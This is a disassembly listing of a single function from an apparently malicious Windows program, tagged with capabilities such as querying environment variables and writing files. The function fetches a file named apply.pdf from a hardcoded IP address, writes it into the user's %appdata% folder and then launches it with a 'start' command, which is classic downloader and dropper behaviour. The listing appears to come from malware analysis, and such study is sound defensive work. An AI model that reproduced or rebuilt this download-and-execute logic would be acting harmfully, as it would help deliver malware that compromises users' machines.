Function at 0x4039c0
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45413b
mov eax, dword fs:[0]
push eax
sub esp, 0x380
mov eax, dword [0x474004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x314], 0
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0x354]
push ecx
push str.http:__207.148.118.157:80_download_apply.pdf
call fcn.004032f0
add esp, 0xc
mov dword [ebp - 0x38c], 0
mov dword [ebp - 0x35c], str.http:__207.148.118.157:80_download_apply.pdf
mov edx, dword [ebp - 0x35c]
add edx, 1
mov dword [ebp - 0x370], edx
mov eax, dword [ebp - 0x35c]
mov cl, byte [eax]
mov byte [ebp - 0x355], cl
add dword [ebp - 0x35c], 1
cmp byte [ebp - 0x355], 0
jne 0x403a3d
mov edx, dword [ebp - 0x35c]
sub edx, dword [ebp - 0x370]
mov dword [ebp - 0x374], edx
lea ecx, [ebp - 0x361]
call fcn.004044d0
push eax
mov eax, dword [ebp - 0x374]
add eax, str.http:__207.148.118.157:80_download_apply.pdf
push eax
push str.http:__207.148.118.157:80_download_apply.pdf
lea ecx, [ebp - 0x334]
call fcn.00405110
mov dword [ebp - 4], 0
push 0xffffffffffffffff
push 0x4712b4
lea ecx, [ebp - 0x334]
call fcn.00404080
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x360], str.http:__207.148.118.157:80_download_apply.pdf
mov ecx, dword [ebp - 0x360]
add ecx, 1
mov dword [ebp - 0x378], ecx
mov edx, dword [ebp - 0x360]
mov al, byte [edx]
mov byte [ebp - 0x356], al
add dword [ebp - 0x360], 1
cmp byte [ebp - 0x356], 0
jne 0x403acd
mov ecx, dword [ebp - 0x360]
sub ecx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], ecx
mov edx, dword [ebp - 0x37c]
sub edx, dword [ebp - 0x36c]
sub edx, 1
push edx
mov eax, dword [ebp - 0x36c]
add eax, 1
push eax
lea ecx, [ebp - 0x350]
push ecx
lea ecx, [ebp - 0x334]
call fcn.00404030
mov byte [ebp - 4], 1
push 0xff
push 0
lea edx, [ebp - 0x110]
push edx
call fcn.0040d4e0
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.0040d4e0
add esp, 0xc
lea ecx, [ebp - 0x350]
call fcn.00404100
push eax
push str._appdata_
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0x104
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xffffffff
jne 0x403bf4
mov dword [ebp - 0x380], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x350]
call fcn.00404180
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x334]
call fcn.00404180
mov eax, dword [ebp - 0x380]
jmp 0x403d1d
mov dword [ebp - 0x318], 0
push 0
lea edx, [ebp - 0x318]
push edx
mov eax, dword [ebp - 0x314]
push eax
mov ecx, dword [ebp - 0x354]
add ecx, dword [0x47658c]
push ecx
mov edx, dword [ebp - 0x368]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403c80
push 0x405540
push str.WriteFile_ERROR
push 0x4754f0
call fcn.00405210
add esp, 8
mov ecx, eax
call fcn.00403f80
mov dword [ebp - 0x384], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x350]
call fcn.00404180
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x334]
call fcn.00404180
mov eax, dword [ebp - 0x384]
jmp 0x403d1d
mov eax, dword [ebp - 0x368]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov ecx, dword [ebp - 0x314]
add ecx, dword [0x47658c]
push ecx
mov edx, dword [ebp - 0x354]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0xff
push 0
lea eax, [ebp - 0x310]
push eax
call fcn.0040d4e0
add esp, 0xc
lea ecx, [ebp - 0x110]
push ecx
push str.start__s
lea edx, [ebp - 0x310]
push edx
call fcn.00401790
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
call fcn.0041c522
add esp, 4
mov dword [ebp - 0x388], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x350]
call fcn.00404180
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x334]
call fcn.00404180
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406930
mov esp, ebp
pop ebp
ret